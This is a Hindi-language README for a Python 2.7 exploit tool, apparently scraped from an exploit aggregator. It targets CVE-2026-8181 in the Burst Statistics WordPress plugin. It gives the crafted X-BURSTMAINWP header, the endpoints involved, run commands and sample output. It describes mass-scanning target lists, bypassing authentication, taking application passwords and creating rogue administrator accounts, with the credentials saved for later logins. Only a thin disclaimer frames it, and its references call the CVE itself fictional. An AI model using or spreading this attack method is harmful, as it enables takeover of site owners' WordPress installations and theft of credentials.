Exploit for CVE-2026-8181

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JENDERAL92-CVE-2026-8181
# CVE-2026-8181 - Burst Statistics प्रमाणीकरण बायपास शोषण

**Python 2.7** शोषण Burst Statistics प्लगइन भेद्यता (CVE-2026-8181) के लिए जो अप्रमाणित हमलावरों को REST API प्रमाणीकरण को बायपास करने, एप्लिकेशन पासवर्ड प्राप्त करने और कमजोर WordPress साइटों पर नए प्रशासक उपयोगकर्ता बनाने की अनुमति देता है।

> ⚠️ **अस्वीकरण**  
>  यह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। केवल उन वेबसाइटों पर उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट अनुमति है। अधिक अस्वीकरण आप Jenderal92 के कवर पर देख सकते हैं। आप इसे यहां !!! देख सकते हैं।

CVE-2026-8181 WordPress के लिए Burst Statistics प्लगइन (पैच से पहले के संस्करणों) को प्रभावित करता है। दोष REST API प्रमाणीकरण तंत्र में है, जो एक हमलावर को अनुमति देता है:

  * एक तैयार `X-BURSTMAINWP` हेडर भेजकर प्रमाणीकरण बायपास करना
  * `/burst/v1/mainwp-auth` एंडपॉइंट के माध्यम से एप्लिकेशन पासवर्ड प्राप्त करना
  * WordPress REST API के माध्यम से विशेषाधिकार प्राप्त कार्य करना (उपयोगकर्ताओं को सूचीबद्ध करना, सेटिंग्स पढ़ना, नए व्यवस्थापक खाते बनाना)



## विशेषताएँ

  * मल्टी-थ्रेडेड स्कैनिंग (डिफ़ॉल्ट 10 थ्रेड)
  * WordPress आधार पथों का स्वचालित पता लगाना (`/`, `/wordpress`, `/wp`)
  * `/wp-json/wp/v2/users` या लेखक आईडी रीडायरेक्ट के माध्यम से उपयोगकर्ता नाम गणना
  * प्रमाणीकरण बायपास का शोषण: 
    * एप्लिकेशन पासवर्ड प्राप्त करना (Base64 एन्कोडेड टोकन)
    * संवेदनशील REST एंडपॉइंट्स (सेटिंग्स, प्लगइन्स, व्यवस्थापक उपयोगकर्ता) तक पहुंच सत्यापित करना
    * यादृच्छिक क्रेडेंशियल्स के साथ एक नया व्यवस्थापक उपयोगकर्ता बनाना
  * **दो आउटपुट फ़ाइलें:**
    * `res_login.txt` – संक्षिप्त, पाइप‑पृथक REST API क्रेडेंशियल्स (पार्स/आयात करने में आसान)
    * `full_res_login.txt` – पूर्ण मानव‑पठनीय रिपोर्ट जिसमें एक्सेस सत्यापन और एप्लिकेशन पासवर्ड शामिल हैं



## आवश्यकताएँ

  * **Python 2.7** (अप्रचलित लेकिन स्क्रिप्ट के लिए आवश्यक)
  * `requests` लाइब्रेरी



root@kitploit:~
    
    
    pip install requests
    

## उपयोग

  1. एक लक्ष्य सूची फ़ाइल तैयार करें (प्रति पंक्ति एक डोमेन या IP, `http://`/`https://` के साथ या बिना)।

उदाहरण `targets.txt`:

root@kitploit:~
         
         example.com
         https://vulnerable-site.com
         127.0.0.1/wordpress
         

  2. शोषण चलाएँ:




root@kitploit:~
    
    
    python2 CVE-2026-8181.py targets.txt
    

  3. परिणाम वर्तमान निर्देशिका में **दो फ़ाइलों** में सहेजे जाते हैं: 
     * `res_login.txt` – REST API क्रेडेंशियल्स (प्रति कमजोर लक्ष्य एक पंक्ति)
     * `full_res_login.txt` – विस्तृत रिपोर्ट



### कमांड लाइन विकल्प

तर्क| विवरण  
---|---  
`list.txt`| लक्ष्य URL वाली फ़ाइल का पथ  
  
### उदाहरण आउटपुट (कंसोल)

root@kitploit:~
    
    
    ============================================================
    CVE-2026-8181 - Burst Statistics Auth Bypass Exploit
    ============================================================
    [*] कुल लक्ष्य: 2
    [*] थ्रेड: 10
    [*] आधार पथ: ['', '/wordpress', '/wp']
    
    [*] स्कैनिंग: example.com
        पथ पर प्रयास: /
        उपयोगकर्ता नाम का पता चला: admin
        [+] कमजोर! REST API बायपास सफल
        [+] एप्लिकेशन पासवर्ड प्राप्त हुआ!
        [+]   उपयोगकर्ता नाम: admin
        [+]   ऐप पासवर्ड: xxxx xxxx xxxx
        [+]   Base64 टोकन: YWRtaW46eHh4eA==
        [+] पहुंच की पुष्टि: WordPress सेटिंग्स
        [+] पहुंच की पुष्टि: स्थापित प्लगइन्स
        [+] पहुंच की पुष्टि: व्यवस्थापक उपयोगकर्ता
        [+] REST API के माध्यम से व्यवस्थापक उपयोगकर्ता बनाया गया: wp_abc123
        [+] परिणाम res_login.txt और full_res_login.txt में सहेजे गए
    

## आउटपुट फ़ाइल प्रारूप

### 1\. `res_login.txt` – संक्षिप्त REST API क्रेडेंशियल्स

प्रत्येक पंक्ति इस पाइप‑पृथक प्रारूप का अनुसरण करती है:

root@kitploit:~
    
    
    लक्ष्य|उपयोगकर्ता नाम|पासवर्ड|ईमेल|उपयोगकर्ता आईडी
    

उदाहरण:

root@kitploit:~
    
    
    http://example.com|wp_xyz789|AbC123xyz456|some-email@example.com|42
    

यह प्रारूप इसके लिए आदर्श है:

  * पासवर्ड मैनेजर या डेटाबेस में आयात करना
  * आगे की कार्रवाइयों को स्वचालित करना (जैसे, लॉगिन स्क्रिप्ट)
  * `cut`, `grep`, या Excel के साथ त्वरित निरीक्षण



### 2\. `full_res_login.txt` – पूर्ण विस्तृत रिपोर्ट

प्रत्येक कमजोर लक्ष्य के लिए, स्क्रिप्ट एक मानव‑पठनीय ब्लॉक जोड़ती है:

root@kitploit:~
    
    
    ============================================================
    लक्ष्य: http://example.com
    ============================================================
    
    [+] पहुंच सत्यापन:
        [+] WordPress सेटिंग्स
        [+] स्थापित प्लगइन्स
        [+] व्यवस्थापक उपयोगकर्ता
    
    [+] REST API क्रेडेंशियल्स:
        उपयोगकर्ता नाम: wp_abc123
        पासवर्ड: random12char
        ईमेल: some-email@example.com
        उपयोगकर्ता आईडी: 42
        URL: http://example.com/wp-admin/
        नोट: X-BURSTMAINWP हेडर के साथ उपयोग करें
    
    [+] एप्लिकेशन पासवर्ड:
        उपयोगकर्ता नाम: admin
        ऐप पासवर्ड: xxxx xxxx xxxx
        Base64 टोकन: YWRtaW46eHh4eA==
    

> **नोट:** यदि एप्लिकेशन पासवर्ड एंडपॉइंट उपलब्ध नहीं है या कोई टोकन नहीं लौटाता है, तो वह अनुभाग `FAILED` दिखाएगा।

## यह कैसे काम करता है

  1. **लक्ष्य तैयारी** – यदि `http://` उपसर्ग गायब है तो जोड़ता है, अंतिम स्लैश हटाता है।
  2. **पथ पुनरावृत्ति** – WordPress आधार निर्देशिकाओं के रूप में `/`, `/wordpress`, और `/wp` आज़माता है।
  3. **उपयोगकर्ता नाम गणना** – `/wp-json/wp/v2/users` लाता है या `?author=N` रीडायरेक्ट का उपयोग करता है।
  4. **बायपास परीक्षण** – उपयोगकर्ता नाम और डमी पासवर्ड (`CVE-2026-8181`) के साथ `X-BURSTMAINWP: 1` \+ मूल प्रमाणीकरण भेजता है। यदि एंडपॉइंट `/wp-json/wp/v2/users/me?context=edit` 200 लौटाता है, तो साइट कमजोर है।
  5. **शोषण** – 
     * एप्लिकेशन पासवर्ड टोकन प्राप्त करने के लिए `/wp-json/burst/v1/mainwp-auth` का अनुरोध करता है।
     * `/settings`, `/plugins`, `/users` तक पहुंच सत्यापित करता है।
     * `POST /wp-json/wp/v2/users` के माध्यम से एक नया व्यवस्थापक खाता बनाता है।
  6. **परिणाम सहेजना** – संक्षिप्त REST क्रेडेंशियल्स `res_login.txt` में और पूर्ण विवरण `full_res_login.txt` में लिखता है।



## अनुकूलन

आप स्क्रिप्ट के अंदर इन वेरिएबल्स को संशोधित कर सकते हैं:

  * `THREADS` – समवर्ती थ्रेड की संख्या (डिफ़ॉल्ट 10)
  * `BASE_PATHS` – जाँचने के लिए अतिरिक्त WordPress उपनिर्देशिकाएँ
  * `requests` टाइमआउट मान



## लाइसेंस

यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। अपने जोखिम पर उपयोग करें।

## संदर्भ

  * CVE-2026-8181 विवरण (काल्पनिक)
  * Burst Statistics प्लगइन (प्रभावित संस्करण)